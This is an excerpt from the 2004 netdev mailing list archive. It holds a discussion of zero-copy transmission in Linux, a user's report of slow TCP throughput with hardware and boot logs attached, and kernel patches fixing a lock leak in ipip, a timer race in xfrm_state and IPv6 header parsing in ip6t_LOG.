Tomasz Torcz wrote: > On Thu, May 20, 2004 at 09:38:11AM -0700, Jean Tourrilhes wrote: > > I personally would stick with 100. The IrDA stack runs > > perfectly fine with 15 buffers at 4 Mb/s. If 100 is not enough, I > > think the problem is not the number of buffers, but somewhere else. Not sure why you post this to this thread? It has nothing to do with the previous message. > > I don't know how much trollish or true is that comment: > http://bsd.slashdot.org/comments.pl?sid=106258&cid=9049422 Linux sk_buffs and BSD mbufs are not very different anymore today. The BSD mbufs have been getting more sk_buff'ish over time, and sk_buffs have grown some properties of mbufs. They both have changed to optionally pass references of memory around instead of copying always, which is what counts here. > but it suggest, that Linux' stack having no BSD like mbuf functionality, > is not perfect for fast transmission. Maybe some network guru > cna comment ? I have not read all the details, but I suppose they used sendmsg() instead of sendfile() for this test. NetBSD can use zero copy TX in this case; Linux can only with sendfile and sendmsg will copy. Obvious linux will be slower then because a copy can cost quite a lot of CPU. Or rather it is not really the CPU cost that is the problem here, but the bandwidth usage - very high speed networking i s essentially memory bandwidth limited and copying over the CPU adds additional bandwidth requirements to the memory subsystem. There was an implementation of zero copy sendmsg() for linux long ago, but it was removed because it was fundamentally incompatible with good SMP scaling, because it would require remote TLB flushes over possible many CPUs (if you search the archives of this list you will find long threads about it). It would not be very hard to readd (Linux has all the low level infrastructure needed for it), but it doesn't make sense. NetBSD may have the luxury to not care about MP scaling, but Linux doesn't. The disadvantage of sendfile is that you can only transmit files directly; if you want to transmit data directly out of an process' address space you have to put them into a file mmap and sendfile from there. This may be a bit inconvenient if the basic unit of data in your program isn't files. There was an plan suggested to fix that (implement zero copy TX for POSIX AIO instead of BSD sockets), which would not have this problem. POSIX AIO has all the infrastructure to do zero copy IO without problematic and slow TLB flushes. Just so far nobody implemented that. In practice it is not a too big issue because many tuned servers (your typical ftpd, httpd or samba server) use sendfile already. -Andi From laurent.goujon@online.fr Thu May 20 15:23:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 20 May 2004 15:23:14 -0700 (PDT) Received: from postfix3-1.free.fr (postfix@postfix3-1.free.fr [213.228.0.44]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4KMN3KO025559 for ; Thu, 20 May 2004 15:23:04 -0700 Received: from [192.168.1.7] (gobio2.net [82.225.138.2]) by postfix3-1.free.fr (Postfix) with ESMTP id 95C79C4079 for ; Fri, 21 May 2004 00:23:01 +0200 (CEST) Subject: Sluggish performances with FreeBSD From: Laurent Goujon To: netdev@oss.sgi.com Content-Type: text/plain Message-Id: <1085091784.4238.19.camel@caribou.no-ip.org> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.5.7-2mdk Date: Fri, 21 May 2004 00:23:05 +0200 Content-Transfer-Encoding: 7bit X-archive-position: 5204 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laurent.goujon@online.fr Precedence: bulk X-list: netdev Hi all, Currently I have a two computers : - The first one is my gateway. It's running Freebsd 5.2 stable, has two networks cards, a realtek 8139 and a broadcom 4401 - The second one is my laptop and it's running most of the time Linux (Mandrake cooker with a 2.6.6 kernel), sometimes winxp (because of the lack of support for some hardware components) and has a sis900 network adapter My problem is : I have very poor performances with tcp streams from my server to my laptop (0.35 Mb/s), but throughput is normal from the laptop to the server (90Mb/s) and also (my favorite one) from Internet to my laptop (~4Mb/s). When I'm running WinXP, all is quite normal. I've tried to invert network cards on my server, to bypass my switch : no result Tests are done using at first ftp and nfs, and for more accurate results, netperf ! Below some useful data from my system: Any idea ? Laurent Goujon PS: The thread was initialy post on the lklm PPS: please keep me on CC because I've not suscribed on this list, thanks My system: ethtool -i output : driver: sis900 version: v1.08.07 11/02/2003 firmware-version: bus-info: 0000:00:03.0 lspci -vx : 00:00.0 Host bridge: Silicon Integrated Systems [SiS] 650 Host (rev 01) Flags: bus master, medium devsel, latency 32 Memory at e0000000 (32-bit, non-prefetchable) [size=64M] Capabilities: 00: 39 10 50 06 07 00 10 22 01 00 00 06 00 20 80 00 10: 00 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30: 00 00 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00:01.0 PCI bridge: Silicon Integrated Systems [SiS] SiS 530 Virtual PCI-to-PCI bridge (AGP) (prog-if 00 [Normal decode]) Flags: bus master, fast devsel, latency 64 Bus: primary=00, secondary=01, subordinate=01, sec-latency=0 I/O behind bridge: 0000a000-0000afff Memory behind bridge: dfe00000-dfefffff Prefetchable memory behind bridge: cfc00000-dfcfffff 00: 39 10 01 00 07 01 00 00 00 00 04 06 00 40 01 00 10: 00 00 00 00 00 00 00 00 00 01 01 00 a0 a0 00 20 20: e0 df e0 df c0 cf c0 df 00 00 00 00 00 00 00 00 30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 00 00:02.0 ISA bridge: Silicon Integrated Systems [SiS] SiS961 [MuTIOL Media IO] Flags: bus master, medium devsel, latency 0 00: 39 10 61 09 0f 00 00 02 00 00 01 06 00 00 80 00 10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00:02.1 SMBus: Silicon Integrated Systems [SiS]: Unknown device 0016 Flags: medium devsel, IRQ 11 I/O ports at 0c00 [size=32] 00: 39 10 16 00 01 00 80 02 00 00 05 0c 00 00 00 00 10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20: 01 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30: 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00:02.2 USB Controller: Silicon Integrated Systems [SiS] USB 1.0 Controller (rev 07) (prog-if 10 [OHCI]) Subsystem: Silicon Integrated Systems [SiS] USB 1.0 Controller Flags: bus master, medium devsel, latency 64, IRQ 5 Memory at dfffa000 (32-bit, non-prefetchable) [size=4K] 00: 39 10 01 70 17 01 80 02 07 10 03 0c 08 40 00 00 10: 00 a0 ff df 00 00 00 00 00 00 00 00 00 00 00 00 20: 00 00 00 00 00 00 00 00 00 00 00 00 39 10 01 70 30: 00 00 00 00 00 00 00 00 00 00 00 00 05 04 00 50 00:02.3 USB Controller: Silicon Integrated Systems [SiS] USB 1.0 Controller (rev 07) (prog-if 10 [OHCI]) Subsystem: Silicon Integrated Systems [SiS] USB 1.0 Controller Flags: bus master, medium devsel, latency 64, IRQ 5 Memory at dfffb000 (32-bit, non-prefetchable) [size=4K] 00: 39 10 01 70 17 01 80 02 07 10 03 0c 08 40 00 00 10: 00 b0 ff df 00 00 00 00 00 00 00 00 00 00 00 00 20: 00 00 00 00 00 00 00 00 00 00 00 00 39 10 01 70 30: 00 00 00 00 00 00 00 00 00 00 00 00 05 01 00 50 00:02.5 IDE interface: Silicon Integrated Systems [SiS] 5513 [IDE] (rev d0) (prog-if 80 [Master]) Subsystem: Silicon Integrated Systems [SiS] SiS5513 EIDE Controller (A,B step) Flags: bus master, fast devsel, latency 128 I/O ports at ff00 [size=16] 00: 39 10 13 55 05 00 00 00 d0 80 01 01 00 80 80 00 10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20: 01 ff 00 00 00 00 00 00 00 00 00 00 39 10 13 55 30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00:02.6 Modem: Silicon Integrated Systems [SiS] Intel 537 [56k Winmodem] (rev a0) (prog-if 00 [Generic]) Subsystem: Uniwill Computer Corp: Unknown device 4003 Flags: medium devsel, IRQ 10 I/O ports at d400 [size=256] I/O ports at d000 [size=128] Capabilities: 00: 39 10 13 70 01 01 90 02 a0 00 03 07 00 40 00 00 10: 01 d4 00 00 01 d0 00 00 00 00 00 00 00 00 00 00 20: 00 00 00 00 00 00 00 00 00 00 00 00 84 15 03 40 30: 00 00 00 00 48 00 00 00 00 00 00 00 0a 03 34 0b 00:02.7 Multimedia audio controller: Silicon Integrated Systems [SiS] Sound Controller (rev a0) Subsystem: Uniwill Computer Corp: Unknown device 5203 Flags: bus master, medium devsel, latency 64, IRQ 10 I/O ports at dc00 [size=256] I/O ports at d800 [size=128] Capabilities: 00: 39 10 12 70 05 01 90 02 a0 00 01 04 00 40 00 00 10: 01 dc 00 00 01 d8 00 00 00 00 00 00 00 00 00 00 20: 00 00 00 00 00 00 00 00 00 00 00 00 84 15 03 52 30: 00 00 00 00 48 00 00 00 00 00 00 00 0a 03 34 0b 00:03.0 Ethernet controller: Silicon Integrated Systems [SiS] SiS900 10/100 Ethernet (rev 90) Subsystem: Uniwill Computer Corp: Unknown device 5002 Flags: bus master, medium devsel, latency 64, IRQ 11 I/O ports at cc00 [size=256] Memory at dfff9000 (32-bit, non-prefetchable) [size=4K] Expansion ROM at dffc0000 [disabled] [size=128K] Capabilities: 00: 39 10 00 09 07 01 90 02 90 00 00 02 00 40 00 00 10: 01 cc 00 00 00 90 ff df 00 00 00 00 00 00 00 00 20: 00 00 00 00 00 00 00 00 00 00 00 00 84 15 02 50 30: 00 00 fc df 40 00 00 00 00 00 00 00 0b 01 34 0b 01:00.0 VGA compatible controller: Silicon Integrated Systems [SiS] SiS650/651/M650/740 PCI/AGP VGA Display Adapter (prog-if 00 [VGA]) Subsystem: Uniwill Computer Corp: Unknown device 5100 Flags: 66Mhz, medium devsel, IRQ 11 BIST result: 00 Memory at d0000000 (32-bit, prefetchable) [size=128M] Memory at dfee0000 (32-bit, non-prefetchable) [size=128K] I/O ports at ac00 [size=128] Capabilities: 00: 39 10 25 63 03 00 b0 02 00 00 00 03 00 00 00 80 10: 08 00 00 d0 00 00 ee df 01 ac 00 00 00 00 00 00 20: 00 00 00 00 00 00 00 00 00 00 00 00 84 15 00 51 30: 00 00 00 00 40 00 00 00 00 00 00 00 0b 01 00 00 dmesg output: Linux version 2.6.6-3mdk (nplanel@n3.mandrakesoft.com) (gcc version 3.3.2 (Mandrake Linux 10.0 3.3.2-6mdk)) #1 Thu May 20 00:12:26 CEST 2004 BIOS-provided physical RAM map: BIOS-e820: 0000000000000000 - 000000000009fc00 (usable) BIOS-e820: 000000000009fc00 - 00000000000a0000 (reserved) BIOS-e820: 00000000000ec000 - 0000000000100000 (reserved) BIOS-e820: 0000000000100000 - 000000000dff0000 (usable) BIOS-e820: 000000000dff0000 - 000000000dff8000 (ACPI data) BIOS-e820: 000000000dff8000 - 000000000e000000 (ACPI NVS) BIOS-e820: 00000000fec00000 - 00000000fec01000 (reserved) BIOS-e820: 00000000fee00000 - 00000000fee01000 (reserved) BIOS-e820: 00000000ffee0000 - 00000000fff0ffff (reserved) BIOS-e820: 00000000fff80000 - 0000000100000000 (reserved) 223MB LOWMEM available. On node 0 totalpages: 57328 DMA zone: 4096 pages, LIFO batch:1 Normal zone: 53232 pages, LIFO batch:12 HighMem zone: 0 pages, LIFO batch:1 DMI 2.3 present. ACPI: RSDP (v000 AMI ) @ 0x000fa920 ACPI: RSDT (v001 AMIINT SiS645XX 0x00000010 MSFT 0x0100000b) @ 0x0dff0000 ACPI: FADT (v002 AMIINT SiS645XX 0x00000011 MSFT 0x0100000b) @ 0x0dff0030 ACPI: DSDT (v001 SiS 650 0x00001000 MSFT 0x0100000d) @ 0x00000000 ACPI: PM-Timer IO Port: 0x808 Built 1 zonelists No local APIC present or hardware disabled Initializing CPU#0 Kernel command line: BOOT_IMAGE=Mandrake ro root=306 devfs=mount resume=/dev/hda7 splash=silent bootsplash: silent mode. PID hash table entries: 1024 (order 10: 8192 bytes) Detected 1693.422 MHz processor. Using pmtmr for high-res timesource Console: colour dummy device 80x25 Memory: 223208k/229312k available (1832k kernel code, 5428k reserved, 909k data, 276k init, 0k highmem) Checking if this processor honours the WP bit even in supervisor mode... Ok. Calibrating delay loop... 3358.72 BogoMIPS Dentry cache hash table entries: 32768 (order: 5, 131072 bytes) Inode-cache hash table entries: 16384 (order: 4, 65536 bytes) Mount-cache hash table entries: 512 (order: 0, 4096 bytes) CPU: After generic identify, caps: 3febf9ff 00000000 00000000 00000000 CPU: After vendor identify, caps: 3febf9ff 00000000 00000000 00000000 CPU: Trace cache: 12K uops, L1 D cache: 8K CPU: L2 cache: 128K CPU: After all inits, caps: 3febf9ff 00000000 00000000 00000080 Intel machine check architecture supported. Intel machine check reporting enabled on CPU#0. CPU0: Intel P4/Xeon Extended MCE MSRs (12) available CPU0: Thermal monitoring enabled CPU: Intel(R) Celeron(R) CPU 1.70GHz stepping 03 Enabling fast FPU save and restore... done. Enabling unmasked SIMD FPU exception support... done. Checking 'hlt' instruction... OK. POSIX conformance testing by UNIFIX checking if image is initramfs...it isn't (no cpio magic); looks like an initrd Freeing initrd memory: 223k freed NET: Registered protocol family 16 EISA bus registered PCI: PCI BIOS revision 2.10 entry at 0xfdb01, last bus=1 PCI: Using configuration type 1 mtrr: v2.0 (20020519) ACPI: Subsystem revision 20040326 Looking for DSDT in initrd ... not found! ACPI: IRQ9 SCI: Edge set to Level Trigger. ACPI: Interpreter enabled ACPI: Using PIC for interrupt routing ACPI: PCI Root Bridge [PCI0] (00:00) PCI: Probing PCI hardware (bus 00) Uncovering SIS961 that hid as a SIS503 (compatible=1) Enabling SiS 96x SMBus. ACPI: PCI Interrupt Routing Table [\_SB_.PCI0._PRT] ACPI: Power Resource [LPTP] (off) ACPI: Embedded Controller [EC0] (gpe 11) ACPI: PCI Interrupt Link [LNKA] (IRQs 3 4 5 7 10 *11 12 14 15) ACPI: PCI Interrupt Link [LNKB] (IRQs 3 4 5 7 10 11 12 14 15) *0, disabled. ACPI: PCI Interrupt Link [LNKC] (IRQs 3 4 5 7 10 11 12 14 15) *0, disabled. ACPI: PCI Interrupt Link [LNKD] (IRQs 3 4 5 7 10 11 12 14 15) *0, disabled. ACPI: PCI Interrupt Link [LNKE] (IRQs 3 4 *5 7 10 11 12 14 15) ACPI: PCI Interrupt Link [LNKF] (IRQs 3 4 5 7 *10 11 12 14 15) ACPI: PCI Interrupt Link [LNKG] (IRQs 3 4 5 7 10 *11 12 14 15) ACPI: PCI Interrupt Link [LNKH] (IRQs 3 4 *5 7 10 11 12 14 15) Linux Plug and Play Support v0.97 (c) Adam Belay PnPBIOS: Disabled ACPI: PCI Interrupt Link [LNKB] enabled at IRQ 11 ACPI: PCI Interrupt Link [LNKE] enabled at IRQ 5 ACPI: PCI Interrupt Link [LNKH] enabled at IRQ 5 ACPI: PCI Interrupt Link [LNKF] enabled at IRQ 10 ACPI: PCI Interrupt Link [LNKG] enabled at IRQ 11 ACPI: PCI Interrupt Link [LNKA] enabled at IRQ 11 PCI: Using ACPI for IRQ routing vesafb: framebuffer at 0xd0000000, mapped to 0xce809000, size 3072k vesafb: mode is 1024x768x16, linelength=2048, pages=4 vesafb: protected mode interface info at cbb9:0000 vesafb: scrolling: redraw vesafb: directcolor: size=0:5:6:5, shift=0:11:5:0 fb0: VESA VGA frame buffer device apm: BIOS not found. audit: initializing netlink socket (disabled) audit(1085097373.425:0): initialized VFS: Disk quotas dquot_6.5.1 Dquot-cache hash table entries: 1024 (order 0, 4096 bytes) devfs: 2004-01-31 Richard Gooch (rgooch@atnf.csiro.au) devfs: boot_options: 0x1 Initializing Cryptographic API isapnp: Scanning for PnP cards... isapnp: No Plug & Play device found bootsplash 3.1.4-2004/02/19: looking for picture.... found (1024x768, 120029 bytes, v3). Console: switching to colour frame buffer device 80x25 Serial: 8250/16550 driver $Revision: 1.90 $ 8 ports, IRQ sharing enabled RAMDISK driver initialized: 16 RAM disks of 32000K size 1024 blocksize Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2 ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx SIS5513: IDE controller at PCI slot 0000:00:02.5 SIS5513: chipset revision 208 SIS5513: not 100% native mode: will probe irqs later SIS5513: SiS 961 MuTIOL IDE UDMA100 controller ide0: BM-DMA at 0xff00-0xff07, BIOS settings: hda:DMA, hdb:DMA ide1: BM-DMA at 0xff08-0xff0f, BIOS settings: hdc:DMA, hdd:DMA hda: FUJITSU MHR2020AT, ATA DISK drive Using anticipatory io scheduler ide0 at 0x1f0-0x1f7,0x3f6 on irq 14 hdc: MATSHITACD-RW CW-8121, ATAPI CD/DVD-ROM drive ide1 at 0x170-0x177,0x376 on irq 15 hda: max request size: 1024KiB hda: 39070080 sectors (20003 MB) w/2048KiB Cache, CHS=16383/255/63, UDMA(33) /dev/ide/host0/bus0/target0/lun0: p1 p2 < p5 p6 p7 p8 p9 p10 > mice: PS/2 mouse device common for all mice i8042.c: Detected active multiplexing controller, rev 1.0. serio: i8042 AUX0 port at 0x60,0x64 irq 12 serio: i8042 AUX1 port at 0x60,0x64 irq 12 Synaptics Touchpad, model: 1 Firmware: 4.1 Sensor: 8 new absolute packet format input: SynPS/2 Synaptics TouchPad on isa0060/serio2 serio: i8042 AUX2 port at 0x60,0x64 irq 12 serio: i8042 AUX3 port at 0x60,0x64 irq 12 serio: i8042 KBD port at 0x60,0x64 irq 1 input: AT Translated Set 2 keyboard on isa0060/serio0 md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27 EISA: Probing bus 0 at eisa0 NET: Registered protocol family 2 IP: routing cache hash table of 2048 buckets, 16Kbytes TCP: Hash tables configured (established 16384 bind 32768) NET: Registered protocol family 1 Resume Machine: resuming from /dev/hda7 Resuming from device hda7 Resume Machine: This is normal swap space PM: Reading pmdisk image. PM: Resume from disk failed. ACPI: (supports S0 S3 S4 S5) BIOS EDD facility v0.14 2004-Apr-28, 1 devices found md: Autodetecting RAID arrays. md: autorun ... md: ... autorun DONE. RAMDISK: Compressed image found at block 0 VFS: Mounted root (ext2 filesystem). Mounted devfs on /dev kjournald starting. Commit interval 5 seconds EXT3-fs: mounted filesystem with ordered data mode. Mounted devfs on /dev Freeing unused kernel memory: 276k freed Real Time Clock Driver v1.12 usbcore: registered new driver usbfs usbcore: registered new driver hub ohci_hcd: 2004 Feb 02 USB 1.1 'Open' Host Controller (OHCI) Driver (PCI) ohci_hcd: block sizes: ed 64 td 64 ohci_hcd 0000:00:02.2: Silicon Integrated Systems [SiS] USB 1.0 Controller ohci_hcd 0000:00:02.2: irq 5, pci mem ceb10000 ohci_hcd 0000:00:02.2: new USB bus registered, assigned bus number 1 hub 1-0:1.0: USB hub found hub 1-0:1.0: 3 ports detected ohci_hcd 0000:00:02.3: Silicon Integrated Systems [SiS] USB 1.0 Controller (#2) ohci_hcd 0000:00:02.3: irq 5, pci mem ceb17000 ohci_hcd 0000:00:02.3: new USB bus registered, assigned bus number 2 hub 2-0:1.0: USB hub found hub 2-0:1.0: 3 ports detected usbcore: registered new driver usblp drivers/usb/class/usblp.c: v0.13: USB Printer Device Class driver EXT3 FS on hda6, internal journal Adding 401552k swap on /dev/hda7. Priority:-1 extents:1 SCSI subsystem initialized imm: Version 2.05 (for Linux 2.4.0) parport0: PC-style at 0x378 (0x778) [PCSPP,TRISTATE,EPP] parport0: irq 7 detected ppa: Version 2.07 (for Linux 2.4.x) Linux agpgart interface v0.100 (c) Dave Jones agpgart: Detected SiS 650 chipset agpgart: Maximum main memory to use for agp memory: 176M agpgart: AGP aperture is 64M @ 0xe0000000 kjournald starting. Commit interval 5 seconds EXT3 FS on hda10, internal journal EXT3-fs: mounted filesystem with ordered data mode. Supermount version 2.0.4 for kernel 2.6 NTFS driver 2.1.11 [Flags: R/O MODULE]. NTFS volume version 3.1. kjournald starting. Commit interval 5 seconds EXT3 FS on hda8, internal journal EXT3-fs: mounted filesystem with ordered data mode. kjournald starting. Commit interval 5 seconds EXT3 FS on hda9, internal journal EXT3-fs: mounted filesystem with ordered data mode. sis900.c: v1.08.07 11/02/2003 eth0: Unknown PHY transceiver found at address 1. eth0: Using transceiver found at address 1 as default eth0: SiS 900 PCI Fast Ethernet at 0xcc00, IRQ 11, 00:a0:cc:cf:86:c7. ip_tables: (C) 2000-2002 Netfilter core team ip_conntrack version 2.1 (1791 buckets, 14328 max) - 296 bytes per conntrack ACPI: Battery Slot [BAT0] (battery present) ACPI: AC Adapter [AC0] (on-line) ACPI: Processor [CPU1] (supports C1 C2, 8 throttling states) ACPI: Thermal Zone [THRM] (75 C) ACPI: Power Button (FF) [PWRF] ACPI: Lid Switch [LID] ACPI: Sleep Button (CM) [SLPB] inserting floppy driver for 2.6.6-3mdk Floppy drive(s): fd0 is 1.44M FDC 0 is a National Semiconductor PC87306 hdc: ATAPI 24X DVD-ROM CD-R/RW drive, 2048kB Cache, DMA Uniform CD-ROM driver Revision: 3.20 ide-floppy driver 0.99.newide NET: Registered protocol family 17 intel8x0_measure_ac97_clock: measured 49564 usecs intel8x0: clocking to 48000 nfs warning: mount version older than kernel NET: Registered protocol family 10 Disabled Privacy Extensions on device c0370920(lo) IPv6 over IPv4 tunneling driver lp0: using parport0 (polling). lp0: console ready mtrr: 0xd0000000,0x2000000 overlaps existing 0xd0000000,0x200000 eth0: no IPv6 routers present Disabled Privacy Extensions on device c0370920(lo) eth0: no IPv6 routers present /proc/interrupts : CPU0 0: 962515 XT-PIC timer 1: 2241 XT-PIC i8042 2: 0 XT-PIC cascade 5: 0 XT-PIC ohci_hcd, ohci_hcd 8: 1 XT-PIC rtc 9: 1 XT-PIC acpi 10: 560 XT-PIC SiS SI7012 11: 21223 XT-PIC eth0 12: 103559 XT-PIC i8042 14: 17723 XT-PIC ide0 15: 9127 XT-PIC ide1 NMI: 0 LOC: 0 ERR: 0 MIS: 0 From yoshfuji@linux-ipv6.org Fri May 21 01:23:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 01:23:24 -0700 (PDT) Received: from yue.hongo.wide.ad.jp ([203.178.140.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4L8N3KO016089 for ; Fri, 21 May 2004 01:23:04 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id AD05433CE5; Fri, 21 May 2004 17:23:29 +0900 (JST) Date: Fri, 21 May 2004 17:23:29 +0900 (JST) Message-Id: <20040521.172329.15140532.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: [PATCH] IPV4: dead lock in error path From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5205 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Hello. We forgot to release ipip_lock in error path. --yoshfuji ===== net/ipv4/ipip.c 1.40 vs edited ===== --- 1.40/net/ipv4/ipip.c Mon Feb 23 14:45:28 2004 +++ edited/net/ipv4/ipip.c Fri May 21 17:17:28 2004 @@ -479,6 +479,7 @@ read_lock(&ipip_lock); if ((tunnel = ipip_tunnel_lookup(iph->saddr, iph->daddr)) != NULL) { if (!xfrm4_policy_check(NULL, XFRM_POLICY_IN, skb)) { + read_unlock(&ipip_lock); kfree_skb(skb); return 0; } -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From herbert@gondor.apana.org.au Fri May 21 06:20:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 06:20:30 -0700 (PDT) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LDK7KO025958 for ; Fri, 21 May 2004 06:20:09 -0700 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1BR9wN-0005q3-00; Fri, 21 May 2004 23:19:59 +1000 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1BR9wE-0005pn-00; Fri, 21 May 2004 23:19:50 +1000 Date: Fri, 21 May 2004 23:19:50 +1000 To: Michele Bergonzoni Cc: "David S. Miller" , netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: IPSec Oops when deleting an ip address Message-ID: <20040521131950.GA20040@gondor.apana.org.au> References: <20040510134958.13691.qmail@mason.oriente.labs.it> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="ibTvN161/egqYuK8" Content-Disposition: inline In-Reply-To: <20040510134958.13691.qmail@mason.oriente.labs.it> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 5206 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev --ibTvN161/egqYuK8 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Mon, May 10, 2004 at 12:51:23PM +0000, Michele Bergonzoni wrote: > > CPU: 0 > EIP: 0060:[] Not tainted > EFLAGS: 00010202 (2.6.5) > EIP is at xfrm_state_gc_destroy+0x1a/0xc0 Sorry, that's probably my fault. I don't know what I was thinking, but doing a mod_timer on a live state without holding a lock or for that matter not even checking whether the state is dead is definitely a bad idea. This patch should fix it. Cheers, -- Visit Openswan at http://www.openswan.org/ Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt --ibTvN161/egqYuK8 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=p Index: net/xfrm/xfrm_state.c =================================================================== RCS file: /home/gondolin/herbert/src/CVS/debian/kernel-source-2.5/net/xfrm/xfrm_state.c,v retrieving revision 1.12 diff -u -r1.12 xfrm_state.c --- a/net/xfrm/xfrm_state.c 29 Nov 2003 06:48:37 -0000 1.12 +++ b/net/xfrm/xfrm_state.c 21 May 2004 13:13:34 -0000 @@ -489,15 +489,16 @@ memcpy(x1->encap, x->encap, sizeof(*x1->encap)); memcpy(&x1->lft, &x->lft, sizeof(x1->lft)); x1->km.dying = 0; + + if (!mod_timer(&x1->timer, jiffies + HZ)) + xfrm_state_hold(x1); + if (x1->curlft.use_time) + xfrm_state_check_expire(x1); + err = 0; } spin_unlock_bh(&x1->lock); - if (!mod_timer(&x1->timer, jiffies + HZ)) - xfrm_state_hold(x1); - if (x1->curlft.use_time) - xfrm_state_check_expire(x1); - xfrm_state_put(x1); return err; --ibTvN161/egqYuK8-- From sebek64@post.cz Fri May 21 10:40:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 21 May 2004 10:40:10 -0700 (PDT) Received: from penguin.localdomain (pra69-d13.gd.dial-up.cz [193.85.69.13]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4LHdwKO016214 for ; Fri, 21 May 2004 10:40:00 -0700 Received: by penguin.localdomain (Postfix, from userid 1000) id 658967F5F; Fri, 21 May 2004 19:39:53 +0200 (CEST) Date: Fri, 21 May 2004 19:39:53 +0200 To: netdev@oss.sgi.com Subject: ip6t_LOG doesn't log packets with HOPOPTS extheader correctly Message-ID: <20040521173953.GA8425@penguin.localdomain> Mail-Followup-To: netdev@oss.sgi.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i From: sebek64@post.cz (Marcel Sebek) X-archive-position: 5207 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sebek64@post.cz Precedence: bulk X-list: netdev Hi. I think there is a bug in ip6t_LOG. When packet contains IPPROTO_HOPOPTS extended header, only 'PROTO=0' is printed out and iteration through the headers stops. That's because return value from ip6_nexthdr indicating no next header is the same as IPPROTO_HOPOPTS. The following patch changes this value to IPPROTO_NONE. --- ip6t_LOG.c.old 2004-05-21 18:31:12.000000000 +0200 +++ ip6t_LOG.c 2004-05-21 19:14:02.000000000 +0200 @@ -48,10 +48,10 @@ /* takes in current header and pointer to the header */ /* if another header exists, sets hdrptr to the next header - and returns the new header value, else returns 0 */ + and returns the new header value, else returns IPPROTO_NONE */ static u_int8_t ip6_nexthdr(u_int8_t currenthdr, u_int8_t **hdrptr) { - u_int8_t hdrlen, nexthdr = 0; + u_int8_t hdrlen, nexthdr = IPPROTO_NONE; switch(currenthdr){ case IPPROTO_AH: @@ -77,7 +77,6 @@ break; } return nexthdr; - } /* One level of recursion won't kill us */ @@ -101,7 +100,7 @@ fragment = 0; hdrptr = (u_int8_t *)(ipv6h + 1); - while (currenthdr) { + while (currenthdr != IPPROTO_NONE) { if ((currenthdr == IPPROTO_TCP) || (currenthdr == IPPROTO_UDP) || (currenthdr == IPPROTO_ICMPV6)) @@ -264,7 +263,11 @@ } break; } - /* Max length: 10 "PROTO 255 " */ + /* Max length: 11 "PROTO=NONE " */ + case IPPROTO_NONE: + printk("PROTO=NONE "); + break; + /* Max length: 10 "PROTO=255 " */ default: printk("PROTO=%u ", currenthdr); } -- Marcel Sebek jabber: sebek@jabber.cz 